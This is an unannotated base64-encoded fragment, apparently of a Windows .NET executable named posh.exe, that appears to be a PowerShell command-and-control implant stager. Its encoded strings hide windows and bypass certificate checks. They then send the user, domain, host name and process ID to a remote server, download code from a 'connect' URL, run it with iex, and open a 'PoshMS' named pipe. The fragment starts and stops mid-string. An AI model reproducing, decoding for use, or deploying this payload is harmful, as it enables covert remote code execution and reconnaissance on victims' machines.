nJlbnRUaHJlYWRJZAAA1gJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBLA0luaXRpYWxpemVTTGlzdEhlYWQAZwNJc0RlYnVnZ2VyUHJlc2VudAC+AkdldFN0YXJ0dXBJbmZvVwBnAkdldE1vZHVsZUhhbmRsZVcAAFACR2V0TGFzdEVycm9yAADRA011bHRpQnl0ZVRvV2lkZUNoYXIAzQVXaWRlQ2hhclRvTXVsdGlCeXRlALIDTG9jYWxGcmVlAK0EUnRsVW53aW5kAEAEUmFpc2VFeGNlcHRpb24AAFQDSW50ZXJsb2NrZWRGbHVzaFNMaXN0AAsFU2V0TGFzdEVycm9yAAAhAUVuY29kZVBvaW50ZXIAJQFFbnRlckNyaXRpY2FsU2VjdGlvbgAAogNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAABQFEZWxldGVDcml0aWNhbFNlY3Rpb24ASANJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AHMFVGxzQWxsb2MAAHUFVGxzR2V0VmFsdWUAdgVUbHNTZXRWYWx1ZQB0BVRsc0ZyZWUAngFGcmVlTGlicmFyeQCdAkdldFByb2NBZGRyZXNzAACnA0xvYWRMaWJyYXJ5RXhXAABRAUV4aXRQcm9jZXNzAGYCR2V0TW9kdWxlSGFuZGxlRXhXAABiAkdldE1vZHVsZUZpbGVOYW1lQQAAMwNIZWFwRnJlZQAALwNIZWFwQWxsb2MAlgNMQ01hcFN0cmluZ1cAAMACR2V0U3RkSGFuZGxlAAA+AkdldEZpbGVUeXBlAKQBR2V0QUNQAABoAUZpbmRDbG9zZQBtAUZpbmRGaXJzdEZpbGVFeEEAAH0BRmluZE5leHRGaWxlQQByA0lzVmFsaWRDb2RlUGFnZQCGAkdldE9FTUNQAACzAUdldENQSW5mbwDIAUdldENvbW1hbmRMaW5lQQDJAUdldENvbW1hbmRMaW5lVwAnAkdldEVudmlyb25tZW50U3RyaW5nc1cAAJ0BRnJlZUVudmlyb25tZW50U3RyaW5nc1cAogJHZXRQcm9jZXNzSGVhcAAAxQJHZXRTdHJpbmdUeXBlVwAAkgFGbHVzaEZpbGVCdWZmZXJzAADhBVdyaXRlRmlsZQDcAUdldENvbnNvbGVDUAAA7gFHZXRDb25zb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CIAAAAAAAQAAAAAAAAAAAAAAAEAKwAAAAAAAAAAPE1vZHVsZT4AcG9zaC5leGUAUHJvZ3JhbQBTYW1wbGUAbXNjb3JsaWIAU3lzdGVtAE9iamVjdABTeXN0ZW0uQ29uZmlndXJhdGlvbi5JbnN0YWxsAEluc3RhbGxlcgBTV19ISURFAFNXX1NIT1cAR2V0Q29uc29sZVdpbmRvdwBTaG93V2luZG93AC5jdG9yAEludm9rZUF1dG9tYXRpb24AUG9zaE1TAFBvc2hNU1Byb3h5AE1haW4AU3lzdGVtLkNvbGxlY3Rpb25zAElEaWN0aW9uYXJ5AFVuaW5zdGFsbABoV25kAG5DbWRTaG93AGNtZABzYXZlZFN0YXRlAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBwb3NoAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBEbGxJbXBvcnRBdHRyaWJ1dGUAa2VybmVsMzIuZGxsAHVzZXIzMi5kbGwAU3lzdGVtLlRleHQARW5jb2RpbmcAZ2V0X1VuaWNvZGUAQ29udmVydABGcm9tQmFzZTY0U3RyaW5nAEdldFN0cmluZwBTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUnVuc3BhY2VzAFJ1bnNwYWNlRmFjdG9yeQBSdW5zcGFjZQBDcmVhdGVSdW5zcGFjZQBPcGVuAFJ1bnNwYWNlSW52b2tlAFBpcGVsaW5lAENyZWF0ZVBpcGVsaW5lAENvbW1hbmRDb2xsZWN0aW9uAGdldF9Db21tYW5kcwBBZGRTY3JpcHQAU3lzdGVtLkNvbGxlY3Rpb25zLk9iamVjdE1vZGVsAENvbGxlY3Rpb25gMQBQU09iamVjdABJbnZva2UAQ2xvc2UAU3RyaW5nQnVpbGRlcgBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYwBJRW51bWVyYXRvcmAxAEdldEVudW1lcmF0b3IAZ2V0X0N1cnJlbnQAQXBwZW5kAElFbnVtZXJhdG9yAE1vdmVOZXh0AElEaXNwb3NhYmxlAERpc3Bvc2UAVG9TdHJpbmcAU3RyaW5nAFRyaW0AU3lzdGVtLkNvbXBvbmVudE1vZGVsAFJ1bkluc3RhbGxlckF0dHJpYnV0ZQAAAJkhVwB3AEIAVABBAEgAawBBAGMAdwBCADAAQQBHAFUAQQBiAFEAQQB1AEEARQA0AEEAWgBRAEIAMABBAEMANABBAFUAdwBCAGwAQQBIAEkAQQBkAGcAQgBwAEEARwBNAEEAWgBRAEIAUQBBAEcAOABBAGEAUQBCAHUAQQBIAFEAQQBUAFEAQgBoAEEARwA0AEEAWQBRAEIAbgBBAEcAVQBBAGMAZwBCAGQAQQBEAG8AQQBPAGcAQgBUAEEARwBVAEEAYwBnAEIAMgBBAEcAVQBBAGMAZwBCAEQAQQBHAFUAQQBjAGcAQgAwAEEARwBrAEEAWgBnAEIAcABBAEcATQBBAFkAUQBCADAAQQBHAFUAQQBWAGcAQgBoAEEARwB3AEEAYQBRAEIAawBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBEAEEARwBFAEEAYgBBAEIAcwBBAEcASQBBAFkAUQBCAGoAQQBHAHMAQQBJAEEAQQA5AEEAQwBBAEEAZQB3AEEAawBBAEgAUQBBAGMAZwBCADEAQQBHAFUAQQBmAFEAQQBOAEEAQQBvAEEAWgBnAEIAMQBBAEcANABBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAUgB3AEIAbABBAEgAUQBBAEwAUQBCAFgAQQBHAFUAQQBZAGcAQgBqAEEARwB3AEEAYQBRAEIAbABBAEcANABBAGQAQQBBAGcAQQBDAGcAQQBKAEEAQgBEAEEARwA4AEEAYgB3AEIAcgBBAEcAawBBAFoAUQBBAHAAQQBDAEEAQQBlAHcAQQBOAEEAQQBvAEEASgBBAEIAawBBAEMAQQBBAFAAUQBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIARQBBAEcARQBBAGQAQQBCAGwAQQBDAEEAQQBMAFEAQgBHAEEARwA4AEEAYwBnAEIAdABBAEcARQBBAGQAQQBBAGcAQQBDAEkAQQBaAEEAQgBrAEEAQwA4AEEAVABRAEIATgBBAEMAOABBAGUAUQBCADUAQQBIAGsAQQBlAFEAQQBpAEEAQwBrAEEATwB3AEEATgBBAEEAbwBBAEoAQQBCAGsAQQBDAEEAQQBQAFEAQQBnAEEARgBzAEEAWgBBAEIAaABBAEgAUQBBAFoAUQBCADAAQQBHAGsAQQBiAFEAQgBsAEEARgAwAEEATwBnAEEANgBBAEYAQQBBAFkAUQBCAHkAQQBIAE0AQQBaAFEAQgBGAEEASABnAEEAWQBRAEIAagBBAEgAUQBBAEsAQQBBAGsAQQBHAFEAQQBMAEEAQQBpAEEARwBRAEEAWgBBAEEAdgBBAEUAMABBAFQAUQBBAHYAQQBIAGsAQQBlAFEAQgA1AEEASABrAEEASQBnAEEAcwBBAEMAUQBBAGIAZwBCADEAQQBHAHcAQQBiAEEAQQBwAEEARABzAEEARABRAEEASwBBAEMAUQBBAGEAdwBBAGcAQQBEADAAQQBJAEEAQgBiAEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGQAQQBCAHAAQQBHADAAQQBaAFEAQgBkAEEARABvAEEATwBnAEIAUQBBAEcARQBBAGMAZwBCAHoAQQBHAFUAQQBSAFEAQgA0AEEARwBFAEEAWQB3AEIAMABBAEMAZwBBAEkAZwBBAHcAQQBEAEUAQQBMAHcAQQB3AEEARABrAEEATAB3AEEAeQBBAEQAQQBBAE0AUQBBADMAQQBDAEkAQQBMAEEAQQBpAEEARwBRAEEAWgBBAEEAdgBBAEUAMABBAFQAUQBBAHYAQQBIAGsAQQBlAFEAQgA1AEEASABrAEEASQBnAEEAcwBBAEMAUQBBAGIAZwBCADEAQQBHAHcAQQBiAEEAQQBwAEEARABzAEEARABRAEEASwBBAEcAawBBAFoAZwBBAGcAQQBDAGcAQQBKAEEAQgByAEEAQwBBAEEATABRAEIAcwBBAEgAUQBBAEkAQQBBAGsAQQBHAFEAQQBLAFEAQQBnAEEASABzAEEAWgBRAEIANABBAEcAawBBAGQAQQBCADkAQQBDAEEAQQBEAFEAQQBLAEEAQwBRAEEAZAB3AEIAagBBAEMAQQBBAFAAUQBBAGcAQQBFADQAQQBaAFEAQgAzAEEAQwAwAEEAVAB3AEIAaQBBAEcAbwBBAFoAUQBCAGoAQQBIAFEAQQBJAEEAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFADQAQQBaAFEAQgAwAEEAQwA0AEEAVgB3AEIAbABBAEcASQBBAFEAdwBCAHMAQQBHAGsAQQBaAFEAQgB1AEEASABRAEEATwB3AEEAZwBBAEEAMABBAEMAZwBBAGsAQQBIAGMAQQBZAHcAQQB1AEEARgBVAEEAYwB3AEIAbABBAEUAUQBBAFoAUQBCAG0AQQBHAEUAQQBkAFEAQgBzAEEASABRAEEAUQB3AEIAeQBBAEcAVQBBAFoAQQBCAGwAQQBHADQAQQBkAEEAQgBwAEEARwBFAEEAYgBBAEIAegBBAEMAQQBBAFAAUQBBAGcAQQBDAFEAQQBkAEEAQgB5AEEASABVAEEAWgBRAEEANwBBAEMAQQBBAEQAUQBBAEsAQQBDAFEAQQBkAHcAQgBqAEEAQwA0AEEAVQBBAEIAeQBBAEcAOABBAGUAQQBCADUAQQBDADQAQQBRAHcAQgB5AEEARwBVAEEAWgBBAEIAbABBAEcANABBAGQAQQBCAHAAQQBHAEUAQQBiAEEAQgB6AEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAGQAdwBCAGoAQQBDADQAQQBRAHcAQgB5AEEARwBVAEEAWgBBAEIAbABBAEcANABBAGQAQQBCAHAAQQBHAEUAQQBiAEEAQgB6AEEARABzAEEARABRAEEASwBBAEMAUQBBAGEAQQBBADkAQQBDAEkAQQBJAGcAQQBOAEEAQQBvAEEAYQBRAEIAbQBBAEMAQQBBAEsAQQBBAGsAQQBHAGcAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAMwBBAEcATQBBAEwAZwBCAEkAQQBHAFUAQQBZAFEAQgBrAEEARwBVAEEAYwBnAEIAegBBAEMANABBAFEAUQBCAGsAQQBHAFEAQQBLAEEAQQBpAEEARQBnAEEAYgB3AEIAegBBAEgAUQBBAEkAZwBBAHMAQQBDAFEAQQBhAEEAQQBwAEEASAAwAEEARABRAEEASwBBAEMAUQBBAGQAdwBCAGoAQQBDADQAQQBTAEEAQgBsAEEARwBFAEEAWgBBAEIAbABBAEgASQBBAGMAdwBBAHUAQQBFAEUAQQBaAEEAQgBrAEEAQwBnAEEASQBnAEIAVgBBAEgATQBBAFoAUQBCAHkAQQBDADAAQQBRAFEAQgBuAEEARwBVAEEAYgBnAEIAMABBAEMASQBBAEwAQQBBAGkAQQBFADAAQQBiAHcAQgA2AEEARwBrAEEAYgBBAEIAcwBBAEcARQBBAEwAdwBBADEAQQBDADQAQQBNAEEAQQBnAEEAQwBnAEEAWQB3AEIAdgBBAEcAMABBAGMAQQBCAGgAQQBIAFEAQQBhAFEAQgBpAEEARwB3AEEAWgBRAEEANwBBAEMAQQBBAFQAUQBCAFQAQQBFAGsAQQBSAFEAQQBnAEEARABrAEEATABnAEEAdwBBAEQAcwBBAEkAQQBCAFgAQQBHAGsAQQBiAGcAQgBrAEEARwA4AEEAZAB3AEIAegBBAEMAQQBBAFUAQQBCAG8AQQBHADgAQQBiAGcAQgBsAEEAQwBBAEEAVAB3AEIAVABBAEMAQQBBAE4AdwBBAHUAQQBEAFUAQQBPAHcAQQBnAEEARgBRAEEAYwBnAEIAcABBAEcAUQBBAFoAUQBCAHUAQQBIAFEAQQBMAHcAQQAxAEEAQwA0AEEATQBBAEEANwBBAEMAQQBBAFMAUQBCAEYAQQBFADAAQQBiAHcAQgBpAEEARwBrAEEAYgBBAEIAbABBAEMAOABBAE8AUQBBAHUAQQBEAEEAQQBLAFEAQQBpAEEAQwBrAEEARABRAEEASwBBAEcAawBBAFoAZwBBAGcAQQBDAGcAQQBKAEEAQgBqAEEARwA4AEEAYgB3AEIAcgBBAEcAawBBAFoAUQBBAHAAQQBDAEEAQQBlAHcAQQBOAEEAQQBvAEEASgBBAEIAMwBBAEcATQBBAEwAZwBCAEkAQQBHAFUAQQBZAFEAQgBrAEEARwBVAEEAYwBnAEIAegBBAEMANABBAFEAUQBCAGsAQQBHAFEAQQBLAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBUAGcAQgBsAEEASABRAEEATABnAEIASQBBAEgAUQBBAGQAQQBCAHcAQQBGAEkAQQBaAFEAQgB4AEEASABVAEEAWgBRAEIAegBBAEgAUQBBAFMAQQBCAGwAQQBHAEUAQQBaAEEAQgBsAEEASABJAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHYAQQBHADgAQQBhAHcAQgBwAEEARwBVAEEATABBAEEAZwBBAEMASQBBAFUAdwBCAGwAQQBIAE0AQQBjAHcAQgBwAEEARwA4AEEAYgBnAEIASgBBAEUAUQBBAFAAUQBBAGsAQQBFAE0AQQBiAHcAQgB2AEEARwBzAEEAYQBRAEIAbABBAEMASQBBAEsAUQBBAE4AQQBBAG8AQQBmAFEAQQBnAEEAQwBRAEEAZAB3AEIAagBBAEMAQQBBAGYAUQBBAE4AQQBBAG8AQQBaAGcAQgAxAEEARwA0AEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBjAEEAQgB5AEEARwBrAEEAYgBRAEIAbABBAEgASQBBAEkAQQBCADcAQQBBADAAQQBDAGcAQgBwAEEARwBZAEEASQBBAEEAbwBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgAxAEEASABNAEEAWgBRAEIAeQBBAEcANABBAFkAUQBCAHQAQQBHAFUAQQBJAEEAQQB0AEEARwBVAEEAYwBRAEEAZwBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgBqAEEARwA4AEEAYgBRAEIAdwBBAEgAVQBBAGQAQQBCAGwAQQBIAEkAQQBiAGcAQgBoAEEARwAwAEEAWgBRAEEAcgBBAEMASQBBAEoAQQBBAGkAQQBDAGsAQQBlAHcAQQBrAEEASABVAEEAUABRAEEAaQBBAEUANABBAFYAQQBBAGcAQQBFAEUAQQBWAFEAQgBVAEEARQBnAEEAVAB3AEIAUwBBAEUAawBBAFYAQQBCAFoAQQBGAHcAQQBVAHcAQgBaAEEARgBNAEEAVgBBAEIARgBBAEUAMABBAEkAZwBCADkAQQBHAFUAQQBiAEEAQgB6AEEARwBVAEEAZQB3AEEAawBBAEgAVQBBAFAAUQBBAGsAQQBHAFUAQQBiAGcAQgAyAEEARABvAEEAZABRAEIAegBBAEcAVQBBAGMAZwBCAHUAQQBHAEUAQQBiAFEAQgBsAEEASAAwAEEARABRAEEASwBBAEMAUQBBAGMAQQBCAHkAQQBHAFUAQQBJAEEAQQA5AEEAQwBBAEEAVwB3AEIAVABBAEgAawBBAGMAdwBCADAAQQBHAFUAQQBiAFEAQQB1AEEARgBRAEEAWgBRAEIANABBAEgAUQBBAEwAZwBCAEYAQQBHADQAQQBZAHcAQgB2AEEARwBRAEEAYQBRAEIAdQBBAEcAYwBBAFgAUQBBADYAQQBEAG8AQQBWAFEAQgB1AEEARwBrAEEAWQB3AEIAdgBBAEcAUQBBAFoAUQBBAHUAQQBFAGMAQQBaAFEAQgAwAEEARQBJAEEAZQBRAEIAMABBAEcAVQBBAGMAdwBBAG8AQQBDAEkAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEgAVQBBAGMAdwBCAGwAQQBIAEkAQQBaAEEAQgB2AEEARwAwAEEAWQBRAEIAcABBAEcANABBAFgAQQBBAGsAQQBIAFUAQQBPAHcAQQBrAEEASABVAEEATwB3AEEAawBBAEcAVQBBAGIAZwBCADIAQQBEAG8AQQBZAHcAQgB2AEEARwAwAEEAYwBBAEIAMQBBAEgAUQBBAFoAUQBCAHkAQQBHADQAQQBZAFEAQgB0AEEARwBVAEEATwB3AEEAawBBAEcAVQBBAGIAZwBCADIAQQBEAG8AQQBVAEEAQgBTAEEARQA4AEEAUQB3AEIARgBBAEYATQBBAFUAdwBCAFAAQQBGAEkAQQBYAHcAQgBCAEEARgBJAEEAUQB3AEIASQBBAEUAawBBAFYAQQBCAEYAQQBFAE0AQQBWAEEAQgBWAEEARgBJAEEAUgBRAEEANwBBAEMAUQBBAGMAQQBCAHAAQQBHAFEAQQBJAGcAQQBwAEEAQQAwAEEAQwBnAEEAawBBAEgAQQBBAE4AZwBBADAAQQBDAEEAQQBQAFEAQQBnAEEARgBzAEEAUQB3AEIAdgBBAEcANABBAGQAZwBCAGwAQQBIAEkAQQBkAEEAQgBkAEEARABvAEEATwBnAEIAVQBBAEcAOABBAFEAZwBCAGgAQQBIAE0AQQBaAFEAQQAyAEEARABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQQBrAEEASABBAEEAYwBnAEIAbABBAEMAawBBAEQAUQBBAEsAQQBDAFEAQQBjAEEAQgB0AEEAQwBBAEEAUABRAEEAZwBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBYAEEARwBVAEEAWQBnAEIAagBBAEcAdwBBAGEAUQBCAGwAQQBHADQAQQBkAEEAQQBnAEEAQwAwAEEAUQB3AEIAdgBBAEcAOABBAGEAdwBCAHAAQQBHAFUAQQBJAEEAQQBrAEEASABBAEEATgBnAEEAMABBAEMAawBBAEwAZwBCAGsAQQBHADgAQQBkAHcAQgB1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAGMAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEASwBBAEEAaQBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBjAHcAQQA2AEEAQwA4AEEATAB3AEIATwBBAEUARQBBAE8AZwBBADAAQQBEAFEAQQBNAHcAQQB2AEEARwBNAEEAYgB3AEIAdQBBAEcANABBAFoAUQBCAGoAQQBIAFEAQQBJAGcAQQBwAEEAQQAwAEEAQwBnAEEAawBBAEgAQQBBAGIAUQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBWAEEAQgBsAEEASABnAEEAZABBAEEAdQBBAEUAVQBBAGIAZwBCAGoAQQBHADgAQQBaAEEAQgBwAEEARwA0AEEAWgB3AEIAZABBAEQAbwBBAE8AZwBCAFYAQQBHADQAQQBhAFEAQgBqAEEARwA4AEEAWgBBAEIAbABBAEMANABBAFIAdwBCAGwAQQBIAFEAQQBVAHcAQgAwAEEASABJAEEAYQBRAEIAdQBBAEcAYwBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFEAdwBCAHYAQQBHADQAQQBkAGcAQgBsAEEASABJAEEAZABBAEIAZABBAEQAbwBBAE8AZwBCAEcAQQBIAEkAQQBiAHcAQgB0AEEARQBJAEEAWQBRAEIAegBBAEcAVQBBAE4AZwBBADAAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEMAZwBBAEoAQQBCAHcAQQBHADAAQQBLAFEAQQBwAEEAQQAwAEEAQwBnAEEAawBBAEgAQQBBAGIAUQBBAGcAQQBIADAAQQBJAEEAQQBOAEEAQQBvAEEASgBBAEIAdwBBAEcAMABBAEkAQQBBADkAQQBDAEEAQQBjAEEAQgB5AEEARwBrAEEAYgBRAEIAbABBAEgASQBBAEQAUQBBAEsAQQBHAGsAQQBaAGcAQQBnAEEAQwBnAEEASgBBAEIAdwBBAEcAMABBAEsAUQBBAGcAQQBIAHMAQQBKAEEAQgB3AEEARwAwAEEAZgBBAEEAZwBBAEcAawBBAFoAUQBCADQAQQBIADAAQQBJAEEAQgBsAEEARwB3AEEAYwB3AEIAbABBAEMAQQBBAGUAdwBBAE4AQQBBAG8AQQBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAMABBAGMAdwBCAHMAQQBHAFUAQQBaAFEAQgB3AEEAQwBBAEEATQBRAEEAdwBBAEEAMABBAEMAZwBCAHcAQQBIAEkAQQBhAFEAQgB0AEEARwBVAEEAYwBnAEEAZwBBAEgAdwBBAEkAQQBCAHAAQQBHAFUAQQBlAEEAQQBnAEEASAAwAEEAAIdhWQBRAEIAawBBAEcAUQBBAEwAUQBCAFUAQQBIAGsAQQBjAEEAQgBsAEEAQwBBAEEATABRAEIAaABBAEgATQBBAGMAdwBCAGwAQQBHADAAQQBZAGcAQgBzAEEASABrAEEASQBBAEEAaQBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUQB3AEIAdgBBAEgASQBBAFoAUQBBAGkAQQBEAHMAQQBJAEEAQQBOAEEAQQBvAEEASgBBAEIAdwBBAEcAawBBAEkAQQBBADkAQQBDAEEAQQBiAGcAQgBsAEEASABjAEEATABRAEIAdgBBAEcASQBBAGEAZwBCAGwAQQBHAE0AQQBkAEEAQQBnAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBTAFEAQgBQAEEAQwA0AEEAVQBBAEIAcABBAEgAQQBBAFoAUQBCAHoAQQBDADQAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEIAawBBAEYAQQBBAGEAUQBCAHcAQQBHAFUAQQBRAHcAQgBzAEEARwBrAEEAWgBRAEIAdQBBAEgAUQBBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEASwBBAEEAbgBBAEYAQQBBAGIAdwBCAHoAQQBHAGcAQQBUAFEAQgBUAEEAQwBjAEEASwBRAEEANwBBAEMAQQBBAEQAUQBBAEsAQQBDAFEAQQBjAEEAQgBwAEEAQwA0AEEAUQB3AEIAdgBBAEcANABBAGIAZwBCAGwAQQBHAE0AQQBkAEEAQQBvAEEAQwBrAEEATwB3AEEATgBBAEEAbwBBAEoAQQBCAHcAQQBIAEkAQQBJAEEAQQA5AEEAQwBBAEEAYgBnAEIAbABBAEgAYwBBAEwAUQBCAHYAQQBHAEkAQQBhAGcAQgBsAEEARwBNAEEAZABBAEEAZwBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEAQwA0AEEAUwBRAEIAUA